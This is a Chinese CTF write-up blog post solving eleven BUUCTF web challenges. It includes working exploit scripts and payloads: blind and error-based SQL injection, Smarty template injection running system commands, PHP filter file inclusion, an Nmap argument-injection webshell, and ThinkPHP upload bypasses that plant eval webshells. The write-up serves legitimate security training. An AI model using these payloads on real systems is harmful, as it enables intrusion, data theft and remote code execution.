BUU-web六

BUU刷题六

[FBCTF2019]RCEService
知识点:命令执行、绕过preg_match

[BSidesCF 2019]Kookie
知识点:cookie伪造

[RoarCTF 2019]Online Proxy
知识点:X-Forwarded-For处的二次注入

[CISCN2019华东南赛区]Web11
知识点:smarty模板注入

[BSidesCF 2020]Had a bad day
知识点:php://filter伪协议套一层协议读取flag

[网鼎杯2020朱雀组]phpweb
知识点:php反序列化、绕过system

[网鼎杯2020朱雀组]Nmap
知识点:escapeshellarg()和escapeshellcmd()漏洞

[CISCN2019-Web5]CyberPunk
知识点:文件包含、二次注入

[BJDCTF 2nd]文件探测
知识点:SSRF、PHP伪协议包含、逻辑漏洞

[RoarCTF 2019]Simple Upload
知识点:Thinkphp文件上传

[RCTF2015]EasySQL
知识点:二次注入

[FBCTF2019]RCEService

考点:命令执行、绕过preg_match

题目给的表单可以接收JSON格式的命令。先输入{“cmd”:”ls”}
返回index.php,但是cat的时候没反应,原因是后端使用preg_match过滤,考虑绕过preg_match的最常用方法之一是使用多行输入,因为preg_match仅尝试匹配第一行,即使用%a0换行

1
{%0a"cmd":"ls%20-al%20../../../"%0a}

1589853355399

在使用cat的时候发现没有cat命令,原因是应用程序的PATH变量更改了

1
putenv('PATH=/home/rceservice/jail');

所以要填写cat的路径:/bin/cat

1
{%0a"cmd":"/bin/cat%20index.php"%0a}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

最后在/home/rceservice里面发现flag

1
{%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}

1589853605484

[BSidesCF 2019]Kookie

打开靶机给出了账户,要求以admin登陆,先使用cookie用户登录,之后修改cookie中的username为admin即可
1589871045369

[RoarCTF 2019]Online Proxy

考点:X-Forwarded-For处的二次注入

打开题目感觉有点像ssrf,但是url并没有跳转
抓包发现在X-Forwarded-For处写入的会被写进数据库中,存在二次注入

1589872846396

攻击流程如下:

  • 第一次执行语句,使payload插入数据库中
  • 第二次执行语句,使payload显示在Lastip的位置
  • 第三次执行语句,使payload生效,显示攻击返回结果

利用此原理,我们可以编写脚本,这里可以使用布尔盲注也可以使用延时注入
当执行第三次时返回
1589873865476

构造脚本
脚本思路:构造语句,在X-Forwarded-For处发送三次(后两次要不相同),若Last-IP返回值为1则为真

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests

url = "http://node3.buuoj.cn:26716/"
flag = ''
headers = {
"GET": "/ HTTP/1.1",
"Cookie": "track_uuid=d98f6951-9f02-4f30-ed6f-bf636aa89edb",
"X-Forwarded-For": ""
}
def gethtml(url):
a = 0
while a < 3:
try:
r = requests.post(url=url, headers=headers, timeout=5)
return r
except:
a = a + 1
def payload(i, j):
# sql = "1' and (ascii(substr((select group_concat(schema_name) from information_schema.schemata,%d,1))>%d) and '1"%(i,j) #库名
# sql = "1' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'),%d,1))>%d) and '1"%(i,j) #表名
# sql = "1' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e'),%d,1))>%d) and '1"%(i,j) #列名
sql = "1' and (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),%d,1))>%d) and '1" % (i, j)
headers["X-Forwarded-For"] = sql
r = gethtml(url)
headers["X-Forwarded-For"] = '1'
r = gethtml(url)
r = gethtml(url)
if "Last Ip: 1 -" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)

1589883351760

这里需要跨库查询
自己写了半天,一直报错,最后还是照搬吧。。。
参考文章:http://www.cl4y.top/buuctf_wp/#toc-head-33

[CISCN2019 华东南赛区]Web11

考点:smarty模板注入

*Smarty SSTI : *

Smarty简介
smarty手册

Smarty是一个PHP的模板引擎,它提供了一种易于管理和使用的办法,用来将原本与HTML代码混杂在一起的PHP代码逻辑分离

漏洞确认

在可能出现模板注入的输入点,输入以下POC进行判断:

查看Smarty版本:

1
{$smarty.version}

注释:

1
{#xxx#}

漏洞利用

不同版本可以利用的方式不同,常用的有以下三种方法:

1.旧版Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令。

Smarty3的官方手册描述:

1
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用

2.旧版Smarty可以通过self获取Smarty类再调用其静态方法实现文件读写

3.PHP函数都可以在模板中使用,因此注入时,可以直接使用:

1
{system('ls')}

便可随意执行命令;执行多条语句的话可以使用下面的形式:

1
{system('ls')}{system('cat index.php')}

解题

  1. 在网页底部提醒Build With Smarty,猜测应该是smarty ssti,右上角显示了IP,猜测注入点应该再X-Forwarded-For
  2. 设置X-Forwarded-For{7*7},在current ip 处回显49,存在ssti
    1589979453978

smarty手册中,{$smarty.version},返回版本信息3.1.30,这里smarty的版本是,${smarty.template}返回当前模板的文件名4ed582e9244071180a8f7bf5488bbe35a977987e

1589979596132

smarty中的{if}标签中可以执行php语句,得flag:{if show_source('/flag')}{/if}或者{readfile('/flag')}在或者直接执行命令{system('cat ../../../flag')}

1589979833569

1589980115733

参考文章:https://blog.csdn.net/oubasangdadada/article/details/104607777

[BSidesCF 2020]Had a bad day

打开靶机有两个按钮,分别会访问?category=woofers和?category=meowers,并且会随机选取1张图片,考虑到文件包含
之后扫描目录发现flag.php,访问?category=flag.php显示
1589982649198

然后在?category=woofers后面随便输入一下字符发现报错
1589982712771

这说明后端会自动将?category=后面的字符串添加一个.php使其变成一个PHP文件
现在已经确定是文件包含了,尝试使用PHP伪协议读取文件

1
?category=php://filter/read=convert.base64-encode/resource=meowers

成功读取
1589982867718

在读取flag.php还是会显示Sorry, we currently only support woofers and meowers.先读取index.php

1
?category=php://filter/read=convert.base64-encode/resource=index

得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
          <?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

看wp后知道php://filter伪协议可以套一层协议。
这样只需要嵌套一个符合的flie:

1
php://filter/read=convert.base64-encode/woofers/resource=flag

得到flag
1589983726218

[网鼎杯 2020 朱雀组]phpweb

打开靶机
1590024556312

没有发现什么可利用的东西,扫描目录也没有什么发现。并且网页每5分钟刷新一次,抓包!
发现其结构为func=date&p=Y-m-d+h%3Ai%3As+a并且报错date():,猜测执行的函数为date(Y-m-d h:i:s a)
1590024652058

尝试命令执行,输入system,发现被过滤了,尝试一些函数读取文件
highlight_file

1
func=highlight_file&p=index.php

1590024873638

发包到浏览器得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
  1. 这里可以使用\system直接绕过,最后在/tmp目录下发现flag
    1590026485236
  2. 还有一种方法为通过unserialize进行绕过,应为有一个Test类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
$a->p = 'ls /tmp';
$a->func = 'system';
echo serialize($a);
// O:4:"Test":2:{s:1:"p";s:7:"ls /tmp";s:4:"func";s:6:"system";}

1590027397673

[网鼎杯 2020 朱雀组]Nmap

本题与[BUUCTF 2018]Online Tool相似,过滤了php
传入' <?=eval($_POST["hack"]);?> -oG hack.phtml '即可

1590034616335

[CISCN2019-Web5]CyberPunk

打开靶机之后,查看源码发现提示?file=,应该是文件包含
使用PHP伪协议读取源码:
change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

index.php

1
2
3
4
5
6
7
8
<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|

confirm.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "è®¢å•åˆ é™¤æˆåŠŸ";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

审计一遍之后发现在change.php中的address并没有经过$pattern过滤,只用addslashes函数将引号等字符转义,但是在后面发现了old_address,说明修改的地址会被存入数据库中,并且mysql会自动删除转义字符,所以再一次修改地址便会触发上一次的sql语句,即存在二次注入。
本题报错之后就必须要重新下单才能在此注入,所以采用报错注入
payload

1
1' and updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),1,20),0x7e),1)#

1590631597922

1
1' and updatexml(1,concat(0x7e,substr(load_file('/flag.txt'),20,50),0x7e),1)#

这里通过substr截取来读取flag,看wp说flag在flag.txt中,所以使用sql读取文件

[BJDCTF 2nd]文件探测

知识点:SSRF、PHP伪协议包含、逻辑漏洞
扫目录发现admin.php和home.php,flag.php(在返回包里面有提示,这里直接扫出来了)
访问home发现url变为home.php?file=,尝试伪协议读取文件

php://filter/convert.base64-encode/resource=home

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}

if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}

if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}

else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}

这段代码限制了file参数只能以home或system结尾,不能包含flag和admin,不能只有home
system.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
````````````````````````````````````````````````````````````````````````````````

<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

q2必须以http://127.0.0.1开头,并且不能有flag,q1无限制,q3必须为GET或者POST

之后将$url中的内容读入字符串中,之后使用%d输出
其中url后面会拼接无用字符,可以使用#注释或者另外使用?a=xxx来传参

这里涉及到了字符串的格式化的知识,%d会将$detect(即源码)以二进制数的形式输出,所以并不能得到我们需要的源码。

而主要思路就是让$detect以字符串形式(%s)来输出,我们有两种读取admin.php源码的方法:

  1. %1$s —— 这种办法原理是%1$s会将第一个参数用string类型输出,而这道题中第一个参数便是admin.php的源码,语句是:
1
2
print(sprintf("$url method&content_size:"GET%1$s%d", $detect));  // %1$s会以字符串格式输出$detect,而%d会输出0

  1. %s% —— 这种办法的原理是sprintf()函数中%可以转义掉%,这样语句就变成了:
1
2
print(sprintf("$url method&content_size:"GET%s%%d", $detect));  // %d前的%被转义,因此失

所以可以读取admin.php 的源码了

q1:随便输
q2:http://127.0.0.1/admin#或者http://127.0.0.1/admin.php?a=xxx
q3:%s%或者%1$s

1590639840135

得到admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng'); #通过get传如的必须等于加密后的字符串
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}
?

这里由于伪随机数是真的随机的,不能爆破,所以必须要进行绕过,这里有一个Trick:

session绕过。删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL。

引用自: https://www.jianshu.com/p/9c031dee57b7

所以只要我们在访问admin.php时,删除session访问,代码就会变成:

1
$cipher = aesEn(NULL, 'y1ng');

因此我们就可以计算出密钥,从而获得Flag

加密后的字符串:

1
2
3
4
5
6
7
8
<?php
function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('174.0.0.2',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}
echo aesEn(NULL,'y1ng');

Gh1BXo8eH92fqnm0EyfREw==

接着访问admin.php,删除SESSIONISD,再传入加密后的字符串即可得到flag,如果字符串中有特殊字符,需要进行url 编码后传参
1590641146540

[RoarCTF 2019]Simple Upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

方法一

Think PHP上传默认路径

这段代码为Thinkphp框架,其默认上传路径是/home/index/upload,代码过滤了.php后缀,也限制了上传类型。

Think PHP upload()多文件上传

在ThinkPHP里的upload()函数在不传参的情况下是批量上传的,这里可以理解为防护机制只会检测一次,运用条件竞争,多次上传便可以绕过文件后缀的检测

ThinkPHP 上传文件名爆破

这里的后缀命名方式运用了uniqid函数它是基于微秒的当前时间来更改文件名的,两个同时上传生成的文件名相差不会太远。先上传一个正常文件再上传一个木马文件,然后再上传一个正常文件,然后根据第一和第三个正常文件的文件名之间的差异,爆破出我们上传的木马文件名。
1590757435181

可以看到差距不大并且有规律

使用python脚本上传

1
2
3
4
5
6
7
8
9
10
import requests
url = 'http://f682b876-7016-4984-b1ab-a58d445a1164.node3.buuoj.cn/index.php/home/index/upload'
files = {'file':("1.txt","")}
files2={'file[]':('1.php',"<?php eval($_GET['cmd'])?>")} ##upload()不传参时即是批量上传所以用[]
r = requests.post(url,files = files)
print (r.text)
r = requests.post(url,files = files2)
print (r.text)
r = requests.post(url,files = files)
print (r.text)

1590757678025

这里可以发现文件名只有后五位不同(有时候是六位,可以多试几次),并且木马文件位于两者之间的数字和字母
爆破,参考师傅们的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#coding:utf-8
import requests
import time
import json

url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
#json.loads()用于将str类型的数据转成dict
print param
t1 = int(t1, 16)

j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#规避过于频繁访问导致的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print path
print r.text
break
print j, path, r.status_code
j -= 1

方法二

参考文章:https://github.red/roarctf-web-writeup/#simpleupload

下载一个 ThinkPHP 3 的源码,ThinkPHP/Library/Think/Upload.class.php就是Upload类的源码。我们可以发现上述代码中的allowExts属性其实并不存在,TP3 中限制上传文件后缀类型的属性应该是exts
所以问题就在于如何绕过上述对于.php的限制。在Upload.class.php的第 157 行,有这么一句:

1
2
$file['name'] = strip_tags($file['name']);

就是这一句,恰好弄巧成拙了。strip_tags()函数会去除文件名中的 HTML 标签。因此我们可以构造形如.p<br>hp这样的文件后缀,从而绕过对于.php的检测,进入 TP3 的上传类中,它又会帮我们去除 HTML 标签。
因此向index.php/Home/Index/upload上传一个.p<br>hp格式的 webshell 即可。

所以使用呢python上传

1
2
3
4
5
import requests
url = 'http://fe13ea65-038f-4b7b-a2fe-f1333c94ce7f.node3.buuoj.cn/index.php/home/index/upload'
files2={'file':('1.p<br>hp',"<?php eval($_GET['cmd'])?>")}
r = requests.post(url,files = files2)
print (r.text)

1591232125484

访问得到flag

[RCTF2015]EasySQL

知识点:二次注入
打开靶机为一个登陆页面,有登陆,注册等功能。随便注册登陆之后发现可以修改密码,猜测存在二次注入

经过几次尝试之后,当注册用户名为xxxxxx"时,在修改密码之后会报错
1591235764538

猜测SQL语句为select * from user where username="1111"" and password='d41d8cd98f00b204e9800998ecf8427e'

但是在注册用户的username出有过滤,fuzz一下
1591238088170

注册一个用户名为aaa"||updatexml(1,concat(0x7e,database(),0x7e),1)#的用户
修改密码后的到数据库名
1591238634082

之后爆表名

1
2
aaa"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#

1591239492349

列名

1
aaa"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#

1591239570708

数据

1
aaa"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#

但是flag不在flag中,查看users表

1
aaa"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#

1591239768752

很明显该列没有输出完整,输出长度受限,并且用该列名去查flag会显示

1591240082619

使用regexp正则来匹配

1
aaa"^(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1))#

1591240315057

1
aaa"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1))#

1591240419934

显示xxx,则同样使用正则匹配

1
aaa"^(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#

1591240731986

flag{4b66b7ec-0473-4ac0-b552-69
我淦!
逆序输出

1
aaa"^(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#

1591240977952

拼接一下就好了
1591241126316

flag{4b66b7ec-0473-4ac0-b552-692e3422eb0c}

参考文章:https://www.cnblogs.com/peri0d/p/11599643.html

文章作者:CyzCc
最后更新:2020年06月25日 19:06:33
原始链接:https://cyzcc.vip/2020/06/05/BUU-web%E5%88%B7%E9%A2%98%E5%85%AD/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------